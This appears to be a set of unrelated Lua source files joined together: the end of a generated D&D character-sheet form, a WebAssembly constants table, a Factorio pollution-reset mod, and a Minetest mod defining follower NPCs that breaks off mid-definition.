if self.label23 ~= nil then self.label23:destroy(); self.label23 = nil; end;
if self.label32 ~= nil then self.label32:destroy(); self.label32 = nil; end;
if self.label90 ~= nil then self.label90:destroy(); self.label90 = nil; end;
if self.label112 ~= nil then self.label112:destroy(); self.label112 = nil; end;
if self.label121 ~= nil then self.label121:destroy(); self.label121 = nil; end;
if self.label24 ~= nil then self.label24:destroy(); self.label24 = nil; end;
if self.layout3 ~= nil then self.layout3:destroy(); self.layout3 = nil; end;
if self.label65 ~= nil then self.label65:destroy(); self.label65 = nil; end;
if self.label61 ~= nil then self.label61:destroy(); self.label61 = nil; end;
if self.dataLink5 ~= nil then self.dataLink5:destroy(); self.dataLink5 = nil; end;
if self.edit54 ~= nil then self.edit54:destroy(); self.edit54 = nil; end;
if self.layout1 ~= nil then self.layout1:destroy(); self.layout1 = nil; end;
if self.edit57 ~= nil then self.edit57:destroy(); self.edit57 = nil; end;
if self.rectangle1 ~= nil then self.rectangle1:destroy(); self.rectangle1 = nil; end;
if self.edit50 ~= nil then self.edit50:destroy(); self.edit50 = nil; end;
if self.label93 ~= nil then self.label93:destroy(); self.label93 = nil; end;
if self.label60 ~= nil then self.label60:destroy(); self.label60 = nil; end;
if self.label64 ~= nil then self.label64:destroy(); self.label64 = nil; end;
if self.edit24 ~= nil then self.edit24:destroy(); self.edit24 = nil; end;
if self.rectangle10 ~= nil then self.rectangle10:destroy(); self.rectangle10 = nil; end;
if self.tab2 ~= nil then self.tab2:destroy(); self.tab2 = nil; end;
if self.layout12 ~= nil then self.layout12:destroy(); self.layout12 = nil; end;
if self.edit14 ~= nil then self.edit14:destroy(); self.edit14 = nil; end;
if self.edit59 ~= nil then self.edit59:destroy(); self.edit59 = nil; end;
if self.edit61 ~= nil then self.edit61:destroy(); self.edit61 = nil; end;
if self.label150 ~= nil then self.label150:destroy(); self.label150 = nil; end;
if self.edit4 ~= nil then self.edit4:destroy(); self.edit4 = nil; end;
if self.edit44 ~= nil then self.edit44:destroy(); self.edit44 = nil; end;
if self.layout25 ~= nil then self.layout25:destroy(); self.layout25 = nil; end;
if self.edit63 ~= nil then self.edit63:destroy(); self.edit63 = nil; end;
if self.label169 ~= nil then self.label169:destroy(); self.label169 = nil; end;
if self.label4 ~= nil then self.label4:destroy(); self.label4 = nil; end;
if self.label6 ~= nil then self.label6:destroy(); self.label6 = nil; end;
if self.label129 ~= nil then self.label129:destroy(); self.label129 = nil; end;
if self.label136 ~= nil then self.label136:destroy(); self.label136 = nil; end;
if self.pericias ~= nil then self.pericias:destroy(); self.pericias = nil; end;
if self.textEditor2 ~= nil then self.textEditor2:destroy(); self.textEditor2 = nil; end;
if self.label74 ~= nil then self.label74:destroy(); self.label74 = nil; end;
if self.label37 ~= nil then self.label37:destroy(); self.label37 = nil; end;
if self.label149 ~= nil then self.label149:destroy(); self.label149 = nil; end;
if self.layout26 ~= nil then self.layout26:destroy(); self.layout26 = nil; end;
if self.edit45 ~= nil then self.edit45:destroy(); self.edit45 = nil; end;
if self.edit8 ~= nil then self.edit8:destroy(); self.edit8 = nil; end;
if self.layout27 ~= nil then self.layout27:destroy(); self.layout27 = nil; end;
if self.edit53 ~= nil then self.edit53:destroy(); self.edit53 = nil; end;
if self.layout28 ~= nil then self.layout28:destroy(); self.layout28 = nil; end;
if self.label86 ~= nil then self.label86:destroy(); self.label86 = nil; end;
if self.layout19 ~= nil then self.layout19:destroy(); self.layout19 = nil; end;
if self.edit2 ~= nil then self.edit2:destroy(); self.edit2 = nil; end;
if self.label9 ~= nil then self.label9:destroy(); self.label9 = nil; end;
if self.label28 ~= nil then self.label28:destroy(); self.label28 = nil; end;
if self.label53 ~= nil then self.label53:destroy(); self.label53 = nil; end;
if self.rectangle8 ~= nil then self.rectangle8:destroy(); self.rectangle8 = nil; end;
if self.label157 ~= nil then self.label157:destroy(); self.label157 = nil; end;
if self.label133 ~= nil then self.label133:destroy(); self.label133 = nil; end;
if self.edit30 ~= nil then self.edit30:destroy(); self.edit30 = nil; end;
if self.edit21 ~= nil then self.edit21:destroy(); self.edit21 = nil; end;
if self.edit56 ~= nil then self.edit56:destroy(); self.edit56 = nil; end;
if self.label137 ~= nil then self.label137:destroy(); self.label137 = nil; end;
if self.label80 ~= nil then self.label80:destroy(); self.label80 = nil; end;
if self.ataques ~= nil then self.ataques:destroy(); self.ataques = nil; end;
if self.button3 ~= nil then self.button3:destroy(); self.button3 = nil; end;
if self.label42 ~= nil then self.label42:destroy(); self.label42 = nil; end;
if self.tab4 ~= nil then self.tab4:destroy(); self.tab4 = nil; end;
if self.edit55 ~= nil then self.edit55:destroy(); self.edit55 = nil; end;
if self.edit43 ~= nil then self.edit43:destroy(); self.edit43 = nil; end;
if self.label118 ~= nil then self.label118:destroy(); self.label118 = nil; end;
if self.label17 ~= nil then self.label17:destroy(); self.label17 = nil; end;
if self.label100 ~= nil then self.label100:destroy(); self.label100 = nil; end;
if self.label156 ~= nil then self.label156:destroy(); self.label156 = nil; end;
if self.edit75 ~= nil then self.edit75:destroy(); self.edit75 = nil; end;
if self.label102 ~= nil then self.label102:destroy(); self.label102 = nil; end;
if self.edit65 ~= nil then self.edit65:destroy(); self.edit65 = nil; end;
if self.edit13 ~= nil then self.edit13:destroy(); self.edit13 = nil; end;
if self.edit39 ~= nil then self.edit39:destroy(); self.edit39 = nil; end;
if self.label132 ~= nil then self.label132:destroy(); self.label132 = nil; end;
if self.label168 ~= nil then self.label168:destroy(); self.label168 = nil; end;
if self.dataLink1 ~= nil then self.dataLink1:destroy(); self.dataLink1 = nil; end;
if self.label81 ~= nil then self.label81:destroy(); self.label81 = nil; end;
if self.label166 ~= nil then self.label166:destroy(); self.label166 = nil; end;
if self.label36 ~= nil then self.label36:destroy(); self.label36 = nil; end;
if self.rectangle3 ~= nil then self.rectangle3:destroy(); self.rectangle3 = nil; end;
if self.edit37 ~= nil then self.edit37:destroy(); self.edit37 = nil; end;
if self.flowLayout2 ~= nil then self.flowLayout2:destroy(); self.flowLayout2 = nil; end;
if self.label10 ~= nil then self.label10:destroy(); self.label10 = nil; end;
if self.edit17 ~= nil then self.edit17:destroy(); self.edit17 = nil; end;
if self.edit51 ~= nil then self.edit51:destroy(); self.edit51 = nil; end;
if self.layout2 ~= nil then self.layout2:destroy(); self.layout2 = nil; end;
if self.edit48 ~= nil then self.edit48:destroy(); self.edit48 = nil; end;
if self.label85 ~= nil then self.label85:destroy(); self.label85 = nil; end;
if self.label46 ~= nil then self.label46:destroy(); self.label46 = nil; end;
if self.label39 ~= nil then self.label39:destroy(); self.label39 = nil; end;
if self.label79 ~= nil then self.label79:destroy(); self.label79 = nil; end;
if self.label11 ~= nil then self.label11:destroy(); self.label11 = nil; end;
if self.edit15 ~= nil then self.edit15:destroy(); self.edit15 = nil; end;
if self.label3 ~= nil then self.label3:destroy(); self.label3 = nil; end;
if self.label20 ~= nil then self.label20:destroy(); self.label20 = nil; end;
if self.label153 ~= nil then self.label153:destroy(); self.label153 = nil; end;
if self.edit78 ~= nil then self.edit78:destroy(); self.edit78 = nil; end;
if self.label87 ~= nil then self.label87:destroy(); self.label87 = nil; end;
if self.label104 ~= nil then self.label104:destroy(); self.label104 = nil; end;
if self.label108 ~= nil then self.label108:destroy(); self.label108 = nil; end;
if self.label25 ~= nil then self.label25:destroy(); self.label25 = nil; end;
if self.label7 ~= nil then self.label7:destroy(); self.label7 = nil; end;
if self.label50 ~= nil then self.label50:destroy(); self.label50 = nil; end;
if self.edit70 ~= nil then self.edit70:destroy(); self.edit70 = nil; end;
if self.edit42 ~= nil then self.edit42:destroy(); self.edit42 = nil; end;
if self.edit22 ~= nil then self.edit22:destroy(); self.edit22 = nil; end;
if self.label5 ~= nil then self.label5:destroy(); self.label5 = nil; end;
if self.layout6 ~= nil then self.layout6:destroy(); self.layout6 = nil; end;
if self.scrollBox4 ~= nil then self.scrollBox4:destroy(); self.scrollBox4 = nil; end;
if self.rectangle4 ~= nil then self.rectangle4:destroy(); self.rectangle4 = nil; end;
if self.layout22 ~= nil then self.layout22:destroy(); self.layout22 = nil; end;
if self.label141 ~= nil then self.label141:destroy(); self.label141 = nil; end;
if self.rectangle13 ~= nil then self.rectangle13:destroy(); self.rectangle13 = nil; end;
if self.label124 ~= nil then self.label124:destroy(); self.label124 = nil; end;
if self.label84 ~= nil then self.label84:destroy(); self.label84 = nil; end;
if self.edit32 ~= nil then self.edit32:destroy(); self.edit32 = nil; end;
if self.tab1 ~= nil then self.tab1:destroy(); self.tab1 = nil; end;
if self.label134 ~= nil then self.label134:destroy(); self.label134 = nil; end;
if self.edit20 ~= nil then self.edit20:destroy(); self.edit20 = nil; end;
self:_oldLFMDestroy();
end;
obj:endUpdate();
return obj;
end;
function newdnd()
local retObj = nil;
__o_rrpgObjs.beginObjectsLoading();
__o_Utils.tryFinally(
function()
retObj = constructNew_dnd();
end,
function()
__o_rrpgObjs.endObjectsLoading();
end);
assert(retObj ~= nil);
return retObj;
end;
local _dnd = {
newEditor = newdnd,
new = newdnd,
name = "dnd",
dataType = "dnd35",
formType = "sheetTemplate",
formComponentName = "form",
title = "dnd",
description=""};
dnd = _dnd;
Firecast.registrarForm(_dnd);
Firecast.registrarDataType(_dnd);
return _dnd;
|
local Constants = {}
Constants.MODULE_MAGIC_NUMBER = 0x6D736100
Constants.SUPPORTED_VERSION = 0x1
Constants.VARUINT_PADDING = 0x80
Constants.VARINT_SIGN = 0x40
Constants.FUNCTION_BODY_END = 0x0B
Constants.ModuleSections = {}
Constants.ModuleSections.TYPE = 1
Constants.ModuleSections.FUNCTION = 3
Constants.ModuleSections.TABLE = 4
Constants.ModuleSections.MEMORY = 5
Constants.ModuleSections.GLOBAL = 6
Constants.ModuleSections.EXPORT = 7
Constants.ModuleSections.CODE = 10
Constants.ModuleSections.DATA = 11
Constants.ExternalKind = {}
Constants.ExternalKind.FUNCTION = 0
Constants.ExternalKind.MEMORY = 2
Constants.Opcodes = {}
Constants.Opcodes.End = 0x0B
Constants.Opcodes.GetLocal = 0x20
Constants.Opcodes.I32Load = 0x28
Constants.Opcodes.I32Const = 0x41
Constants.Opcodes.I32Eq = 0x46
Constants.Opcodes.I32Add = 0x6A
Constants.ConstantTypes = {}
Constants.ConstantTypes.I32 = 0x41
return Constants
|
local mod_gui = require("mod-gui")
function doit(player)
for _, surface in pairs (game.surfaces) do surface.clear_pollution() end
game.forces["enemy"].reset_evolution()
game.forces["enemy"].kill_all_units()
log({'ResetEvolutionPollution_text', player.name})
game.print({'ResetEvolutionPollution_text', player.name})
end
function show_gui(player)
local gui = mod_gui.get_button_flow(player)
if not gui.ResetEvolutionPollution then
gui.add{
type = "sprite-button",
name = "ResetEvolutionPollution",
sprite = "ResetEvolutionPollution_button",
style = mod_gui.button_style,
tooltip = {'ResetEvolutionPollution_buttontext'}
}
end
end
do---- Init ----
script.on_init(function()
for _, player in pairs(game.players) do
if player and player.valid then show_gui(player) end
end
end)
script.on_configuration_changed(function(data)
for _, player in pairs(game.players) do
if player and player.valid then
if player.gui.left.ResetEvolutionPollution_button then player.gui.left.ResetEvolutionPollution_button.destroy() end
show_gui(player)
end
end
end)
script.on_event({defines.events.on_player_created, defines.events.on_player_joined_game, defines.events.on_player_respawned}, function(event)
local player = game.players[event.player_index]
if player and player.valid then show_gui(player) end
end)
script.on_event(defines.events.on_gui_click, function(event)
local gui = event.element
local player = game.players[event.player_index]
if not (player and player.valid and gui and gui.valid) then return end
if gui.name == "ResetEvolutionPollution" then doit(player) end
end)
end
|
--mobs_fallout v0.0.4
--maikerumine
--made for Extreme Survival game
--dofile(minetest.get_modpath("mobs_fallout").."/api.lua")
--REFERENCE
--fix
--mobs.npc_drops = { "cityscape:canned_food", "shooter:rocket_gun_loaded", "mobs_fallout:meat 4", "shooter:rifle", "default:shovel_steel", "farming:bread", "default:wood","shooter:ammo","default:duct_tape 3", "default:health_kit" }--Added 20151121
mobs.npc_drops = { "default:pick_steel", "mobs:meat", "default:sword_steel", "default:shovel_steel", "farming:bread", "default:wood" }--Added 20151121
mobs.npc2_drops = { "default:pick_mese", "mobs:meat", "default:sword_diamond", "default:pick_diamond", "farming:bread", "default:wood" }--Added 20151121
mobs.npc_drops = { "shooter:rocket_gun_loaded", "mobs_fallout:meat 4", "shooter:rifle", "default:shovel_steel", "farming:bread", "default:wood","shooter:ammo","default:duct_tape 3", "default:health_kit" }--Added 20151121
mobs:register_spawn("mobs_fallout:Bajan", {"default:dirt_with_grass","default:stone", "default:stonebrick","default:cobble"}, 20, 10, 9000, 1, 31000)
mobs:register_mob("mobs_fallout:Bajan", {
type = "npc",
group_attack = true,
pathfinding = true,
hp_min = 25,
hp_max = 35,
collisionbox = {-0.3, -1.0, -0.3, 0.3, 0.8, 0.3},
visual = "mesh",
mesh = "3d_armor_character.b3d",
textures = {{"Bajancanadian_by_bajanhgk.png",
"3d_armor_trans.png",
minetest.registered_items["shooter:rifle"].inventory_image,
}},
visual_size = {x=1, y=1.0},
makes_footstep_sound = true,
view_range = 15,
walk_velocity = 1,
run_velocity = 3,
damage = 2,
drops = {
{name = "default:apple",
chance = 1,
min = 1,
max = 2,},
{name = "shooter:rifle",
chance = 2,
min = 0,
max = 1,},
{name = "shooter:ammo",
chance = 2,
min = 13,
max=30,},
},
armor = 80,
drawtype = "front",
water_damage = 10,
lava_damage = 50,
light_damage = 0,
--[[
--Maikerumine added hackish follow code
on_rightclick = function (self, clicker)
mobs:face_pos(self,clicker:getpos())
mobs:team_player(self,clicker:getpos())
if self.state ~= "path" and self.state ~= "following" then
local_chat(clicker:getpos(),"Sam: Let's go kick some Mob butt!",3)
if not self.tamed then
self.tamed = true
self.follow = true
end
end
end,]]
on_rightclick = function(self, clicker)
local item = clicker:get_wielded_item()
local_chat(clicker:getpos(),"Bajan: Let's go kick some Mob butt!",3)
if item:get_name() == "mobs_fallout:meat" or item:get_name() == "farming:bread" then
local hp = self.object:get_hp()
if hp + 4 > self.hp_max then return end
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
self.object:set_hp(hp+4)
-- right clicking with gold lump drops random item from mobs.npc_drops
elseif item:get_name() == "default:gold_lump" then
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
local pos = self.object:getpos()
pos.y = pos.y + 0.5
minetest.add_item(pos, {name = mobs.npc_drops[math.random(1,#mobs.npc_drops)]})
else
if self.owner == "" then
self.owner = clicker:get_player_name()
else
local formspec = "size[8,4]"
formspec = formspec .. "textlist[2.85,0;2.1,0.5;dialog;What can I do for you?]"
formspec = formspec .. "button_exit[1,1;2,2;gfollow;follow]"
formspec = formspec .. "button_exit[5,1;2,2;gstand;stand]"
formspec = formspec .. "button_exit[0,2;4,4;gfandp;follow and protect]"
formspec = formspec .. "button_exit[4,2;4,4;gsandp;stand and protect]"
--formspec = formspec .. "button_exit[1,2;2,2;ggohome; go home]"
--formspec = formspec .. "button_exit[5,2;2,2;gsethome; sethome]"
minetest.show_formspec(clicker:get_player_name(), "order", formspec)
minetest.register_on_player_receive_fields(function(clicker, formname, fields)
if fields.gfollow then
self.order = "follow"
self.attacks_monsters = false
end
if fields.gstand then
self.order = "stand"
self.attacks_monsters = false
end
if fields.gfandp then
self.order = "follow"
self.attacks_monsters = true
end
if fields.gsandp then
self.order = "stand"
self.attacks_monsters = true
end
if fields.gsethome then
self.floats = self.object:getpos()
end
if fields.ggohome then
if self.floats then
self.order = "stand"
self.object:setpos(self.floats)
end
end
end)
end
end
end,
attack_type = "dogfight",
animation = {
speed_normal = 30, speed_run = 30,
stand_start = 0, stand_end = 79,
walk_start = 168, walk_end = 187,
run_start = 168, run_end = 187,
punch_start = 200, punch_end = 219,
},
sounds = {
war_cry = "mobs_die_yell",
death = "mobs_death1",
attack = "default_punch",
},
attacks_monsters = true,
peaceful = true,
group_attack = true,
step = 1,
})
mobs:register_spawn("mobs_fallout:John", {"default:dirt_with_grass","default:stone", "default:stonebrick","default:cobble"}, 20, 10, 9000, 1, 31000)
mobs:register_mob("mobs_fallout:John", {
type = "npc",
group_attack = true,
pathfinding = true,
hp_min = 27,
hp_max = 34,
collisionbox = {-0.3, -1.0, -0.3, 0.3, 0.8, 0.3},
visual = "mesh",
mesh = "3d_armor_character.b3d",
textures = {{"Castaway_by_Gold.png",
"3d_armor_trans.png",
minetest.registered_items["shooter:shotgun"].inventory_image,
}},
visual_size = {x=1, y=1},
makes_footstep_sound = true,
view_range = 15,
walk_velocity = 1,
run_velocity = 2,
damage = 3,
drops = {
{name = "default:apple",
chance = 1,
min = 1,
max = 5,},
{name = "default:carbon_steel_sword",
chance = 1,
min = 0,
max = 1,},
{name = "shooter:ammo",
chance = 2,
min = 13,
max=30,},
},
armor = 85,
drawtype = "front",
water_damage = 10,
lava_damage = 50,
light_damage = 0,
--[[
--Maikerumine added hackish follow code
on_rightclick = function (self, clicker)
mobs:face_pos(self,clicker:getpos())
mobs:team_player(self,clicker:getpos())
if self.state ~= "path" and self.state ~= "following" then
local_chat(clicker:getpos(),"John: Let's go grief some monsters!",3)
if not self.tamed then
self.tamed = true
self.follow = true
end
end
end,]]
on_rightclick = function(self, clicker)
local item = clicker:get_wielded_item()
local_chat(clicker:getpos(),"John: Let's go grief some monsters!",3)
if item:get_name() == "mobs_fallout:meat" or item:get_name() == "farming:bread" then
local hp = self.object:get_hp()
if hp + 4 > self.hp_max then return end
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
self.object:set_hp(hp+4)
-- right clicking with gold lump drops random item from mobs.npc_drops
elseif item:get_name() == "default:gold_lump" then
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
local pos = self.object:getpos()
pos.y = pos.y + 0.5
minetest.add_item(pos, {name = mobs.npc_drops[math.random(1,#mobs.npc_drops)]})
else
if self.owner == "" then
self.owner = clicker:get_player_name()
else
local formspec = "size[8,4]"
formspec = formspec .. "textlist[2.85,0;2.1,0.5;dialog;What can I do for you?]"
formspec = formspec .. "button_exit[1,1;2,2;gfollow;follow]"
formspec = formspec .. "button_exit[5,1;2,2;gstand;stand]"
formspec = formspec .. "button_exit[0,2;4,4;gfandp;follow and protect]"
formspec = formspec .. "button_exit[4,2;4,4;gsandp;stand and protect]"
--formspec = formspec .. "button_exit[1,2;2,2;ggohome; go home]"
--formspec = formspec .. "button_exit[5,2;2,2;gsethome; sethome]"
minetest.show_formspec(clicker:get_player_name(), "order", formspec)
minetest.register_on_player_receive_fields(function(clicker, formname, fields)
if fields.gfollow then
self.order = "follow"
self.attacks_monsters = false
end
if fields.gstand then
self.order = "stand"
self.attacks_monsters = false
end
if fields.gfandp then
self.order = "follow"
self.attacks_monsters = true
end
if fields.gsandp then
self.order = "stand"
self.attacks_monsters = true
end
if fields.gsethome then
self.floats = self.object:getpos()
end
if fields.ggohome then
if self.floats then
self.order = "stand"
self.object:setpos(self.floats)
end
end
end)
end
end
end,
attack_type = "dogfight",
animation = {
speed_normal = 30, speed_run = 30,
stand_start = 0, stand_end = 79,
walk_start = 168, walk_end = 187,
run_start = 168, run_end = 187,
punch_start = 200, punch_end = 219,
},
sounds = {
war_cry = "mobs_die_yell",
death = "mobs_death2",
attack = "shooter_shotgun",
},
attacks_monsters = true,
peaceful = true,
group_attack = true,
step = 1,
})
mobs:register_spawn("mobs_fallout:Krock", {"default:dirt_with_grass","default:stone", "default:stonebrick","default:cobble"}, 20, 10, 9000, 1, 31000)
mobs:register_mob("mobs_fallout:Krock", {
type = "npc",
group_attack = true,
pathfinding = true,
hp_min = 13,
hp_max = 15,
collisionbox = {-0.3, -0.8, -0.3, 0.3, 0.8, 0.3},
visual = "mesh",
mesh = "3d_armor_character.b3d",
textures = {{"Red-brown-shirt-dude_by_Krock.png",
"3d_armor_trans.png",
minetest.registered_items["shooter:ammo"].inventory_image,
}},
visual_size = {x=1, y=.8},
makes_footstep_sound = true,
view_range = 19,
walk_velocity = 1.6,
run_velocity = 1,
damage = 2.5,
drops = {
{name = "default:leaves",
chance = 1,
min = 3,
max = 5,},
{name = "shooter:rifle",
chance = 2,
min = 0,
max = 1,},
{name = "shooter:ammo",
chance = 2,
min = 13,
max=30,},
},
armor = 40,
drawtype = "front",
water_damage = 10,
lava_damage = 50,
light_damage = 0,
follow = "default:apple",
--[[
--Maikerumine added hackish follow code
on_rightclick = function (self, clicker)
mobs:face_pos(self,clicker:getpos())
mobs:team_player(self,clicker:getpos())
if self.state ~= "path" and self.state ~= "following" then
local_chat(clicker:getpos(),"Jannette: Stop flirting with me!",3)
if not self.tamed then
self.tamed = true
self.follow = true
end
end
end,]]
on_rightclick = function(self, clicker)
local item = clicker:get_wielded_item()
local_chat(clicker:getpos(),"Krock: Stop flirting with me!",3)
if item:get_name() == "mobs_fallout:meat" or item:get_name() == "farming:bread" then
local hp = self.object:get_hp()
if hp + 4 > self.hp_max then return end
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
self.object:set_hp(hp+4)
-- right clicking with gold lump drops random item from mobs.npc_drops
elseif item:get_name() == "default:gold_lump" then
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
local pos = self.object:getpos()
pos.y = pos.y + 0.5
minetest.add_item(pos, {name = mobs.npc_drops[math.random(1,#mobs.npc_drops)]})
else
if self.owner == "" then
self.owner = clicker:get_player_name()
else
local formspec = "size[8,4]"
formspec = formspec .. "textlist[2.85,0;2.1,0.5;dialog;What can I do for you?]"
formspec = formspec .. "button_exit[1,1;2,2;gfollow;follow]"
formspec = formspec .. "button_exit[5,1;2,2;gstand;stand]"
formspec = formspec .. "button_exit[0,2;4,4;gfandp;follow and protect]"
formspec = formspec .. "button_exit[4,2;4,4;gsandp;stand and protect]"
--formspec = formspec .. "button_exit[1,2;2,2;ggohome; go home]"
--formspec = formspec .. "button_exit[5,2;2,2;gsethome; sethome]"
minetest.show_formspec(clicker:get_player_name(), "order", formspec)
minetest.register_on_player_receive_fields(function(clicker, formname, fields)
if fields.gfollow then
self.order = "follow"
self.attacks_monsters = false
end
if fields.gstand then
self.order = "stand"
self.attacks_monsters = false
end
if fields.gfandp then
self.order = "follow"
self.attacks_monsters = true
end
if fields.gsandp then
self.order = "stand"
self.attacks_monsters = true
end
if fields.gsethome then
self.floats = self.object:getpos()
end
if fields.ggohome then
if self.floats then
self.order = "stand"
self.object:setpos(self.floats)
end
end
end)
end
end
end,
attack_type = "dogfight",
animation = {
speed_normal = 30, speed_run = 30,
stand_start = 0, stand_end = 79,
walk_start = 168, walk_end = 187,
run_start = 168, run_end = 187,
punch_start = 200, punch_end = 219,
},
sounds = {
war_cry = "mobs_oerkki_attack",
death = "mobs_death1",
attack = "default_punch",
},
attacks_monsters = true,
peaceful = true,
group_attack = true,
step = 1,
})
--mobs:register_egg("mobs_fallout:badplayer13", "Girl In Red", "character_13_preview.png", 1)
mobs:register_spawn("mobs_fallout:Just_Test_Griefer", {"default:dirt_with_grass","default:stone", "default:stonebrick","default:cobble"}, 20, 10, 9000, 1, 31000)
mobs:register_mob("mobs_fallout:Just_Test_Griefer", {
type = "npc",
group_attack = true,
pathfinding = true,
hp_min = 27,
hp_max = 45,
collisionbox = {-0.3, -1.0, -0.3, 0.3, 0.8, 0.3},
visual = "mesh",
mesh = "3d_armor_character.b3d",
textures = {{"Just_Test_Griefer_by_maikerumine.png",
"3d_armor_trans.png",
minetest.registered_items["default:sword_wood"].inventory_image,
}},
visual_size = {x=1, y=1},
makes_footstep_sound = true,
view_range = 15,
walk_velocity = 1,
run_velocity = 2,
damage = 3,
drops = {
{name = "default:papyrus",
chance = 1,
min = 3,
max = 5,},
{name = "shooter:rifle",
chance = 2,
min = 0,
max = 1,},
{name = "shooter:ammo",
chance = 2,
min = 1,
max=3,},
},
armor = 90,
drawtype = "front",
water_damage = 10,
lava_damage = 50,
light_damage = 0,
--[[
--Maikerumine added hackish follow code
on_rightclick = function (self, clicker)
mobs:face_pos(self,clicker:getpos())
mobs:team_player(self,clicker:getpos())
if self.state ~= "path" and self.state ~= "following" then
local_chat(clicker:getpos(),"Crybaby: I am too whimpy to fight mobs, but I can do my best!",3)
if not self.tamed then
self.tamed = true
self.follow = true
end
end
end,]]
on_rightclick = function(self, clicker)
local item = clicker:get_wielded_item()
local_chat(clicker:getpos(),"Just_Test_Griefer: I am too whimpy to fight mobs, but I can do my best!",3)
if item:get_name() == "mobs_fallout:meat" or item:get_name() == "farming:bread" then
local hp = self.object:get_hp()
if hp + 4 > self.hp_max then return end
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
self.object:set_hp(hp+4)
-- right clicking with gold lump drops random item from mobs.npc_drops
elseif item:get_name() == "default:gold_lump" then
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
local pos = self.object:getpos()
pos.y = pos.y + 0.5
minetest.add_item(pos, {name = mobs.npc_drops[math.random(1,#mobs.npc_drops)]})
else
if self.owner == "" then
self.owner = clicker:get_player_name()
else
local formspec = "size[8,4]"
formspec = formspec .. "textlist[2.85,0;2.1,0.5;dialog;What can I do for you?]"
formspec = formspec .. "button_exit[1,1;2,2;gfollow;follow]"
formspec = formspec .. "button_exit[5,1;2,2;gstand;stand]"
formspec = formspec .. "button_exit[0,2;4,4;gfandp;follow and protect]"
formspec = formspec .. "button_exit[4,2;4,4;gsandp;stand and protect]"
--formspec = formspec .. "button_exit[1,2;2,2;ggohome; go home]"
--formspec = formspec .. "button_exit[5,2;2,2;gsethome; sethome]"
minetest.show_formspec(clicker:get_player_name(), "order", formspec)
minetest.register_on_player_receive_fields(function(clicker, formname, fields)
if fields.gfollow then
self.order = "follow"
self.attacks_monsters = false
end
if fields.gstand then
self.order = "stand"
self.attacks_monsters = false
end
if fields.gfandp then
self.order = "follow"
self.attacks_monsters = true
end
if fields.gsandp then
self.order = "stand"
self.attacks_monsters = true
end
if fields.gsethome then
self.floats = self.object:getpos()
end
if fields.ggohome then
if self.floats then
self.order = "stand"
self.object:setpos(self.floats)
end
end
end)
end
end
end,
attack_type = "dogfight",
animation = {
speed_normal = 30, speed_run = 30,
stand_start = 0, stand_end = 79,
walk_start = 168, walk_end = 187,
run_start = 168, run_end = 187,
punch_start = 200, punch_end = 219,
},
sounds = {
war_cry = "mobs_barbarian_yell1",
death = "mobs_death1",
attack = "default_punch2",
},
attacks_monsters = true,
peaceful = true,
group_attack = true,
step = 1,
})
mobs:register_spawn("mobs_fallout:SepiaSam", {"default:dirt_with_grass","default:stone", "default:stonebrick","default:cobble"}, 20, 10, 9000, 1, 31000)
mobs:register_mob("mobs_fallout:SepiaSam", {
type = "npc",
group_attack = true,
pathfinding = true,
hp_min = 47,
hp_max = 55,
collisionbox = {-0.3, -1.0, -0.3, 0.3, 0.8, 0.3},
visual = "mesh",
mesh = "3d_armor_character.b3d",
textures = {{"badplayer_15.png",
"3d_armor_trans.png",
minetest.registered_items["shooter:rifle"].inventory_image,
}},
visual_size = {x=1, y=1},
makes_footstep_sound = true,
view_range = 17,
walk_velocity = 1.3,
run_velocity = 3.9,
damage = 3,
drops = {
{name = "shooter:rifle",
chance = 2,
min = 0,
max = 1,},
{name = "shooter:ammo",
chance = 1,
min = 0,
max = 1,},
{name = "default:apple",
chance = 2,
min = 1,
max=3,},
},
armor = 80,
drawtype = "front",
water_damage = 10,
lava_damage = 50,
light_damage = 0,
--[[
--Maikerumine added hackish follow code
on_rightclick = function (self, clicker)
mobs:face_pos(self,clicker:getpos())
mobs:team_player(self,clicker:getpos())
if self.state ~= "path" and self.state ~= "following" then
local_chat(clicker:getpos(),"Sepia Sam: MESE sword + Monster = My pleasure!",3)
if not self.tamed then
self.tamed = true
self.follow = true
end
end
end,]]
on_rightclick = function(self, clicker)
local item = clicker:get_wielded_item()
local_chat(clicker:getpos(),"Sepia Sam: MESE sword + Monster = My pleasure!",3)
if item:get_name() == "mobs_fallout:meat" or item:get_name() == "farming:bread" then
local hp = self.object:get_hp()
if hp + 4 > self.hp_max then return end
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
self.object:set_hp(hp+4)
-- right clicking with gold lump drops random item from mobs.npc_drops
elseif item:get_name() == "default:gold_lump" then
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
local pos = self.object:getpos()
pos.y = pos.y + 0.5
minetest.add_item(pos, {name = mobs.npc_drops[math.random(1,#mobs.npc_drops)]})
else
if self.owner == "" then
self.owner = clicker:get_player_name()
else
local formspec = "size[8,4]"
formspec = formspec .. "textlist[2.85,0;2.1,0.5;dialog;What can I do for you?]"
formspec = formspec .. "button_exit[1,1;2,2;gfollow;follow]"
formspec = formspec .. "button_exit[5,1;2,2;gstand;stand]"
formspec = formspec .. "button_exit[0,2;4,4;gfandp;follow and protect]"
formspec = formspec .. "button_exit[4,2;4,4;gsandp;stand and protect]"
--formspec = formspec .. "button_exit[1,2;2,2;ggohome; go home]"
--formspec = formspec .. "button_exit[5,2;2,2;gsethome; sethome]"
minetest.show_formspec(clicker:get_player_name(), "order", formspec)
minetest.register_on_player_receive_fields(function(clicker, formname, fields)
if fields.gfollow then
self.order = "follow"
self.attacks_monsters = false
end
if fields.gstand then
self.order = "stand"
self.attacks_monsters = false
end
if fields.gfandp then
self.order = "follow"
self.attacks_monsters = true
end
if fields.gsandp then
self.order = "stand"
self.attacks_monsters = true
end
if fields.gsethome then
self.floats = self.object:getpos()
end
if fields.ggohome then
if self.floats then
self.order = "stand"
self.object:setpos(self.floats)
end
end
end)
end
end
end,
attack_type = "dogfight",
animation = {
speed_normal = 30, speed_run = 30,
stand_start = 0, stand_end = 79,
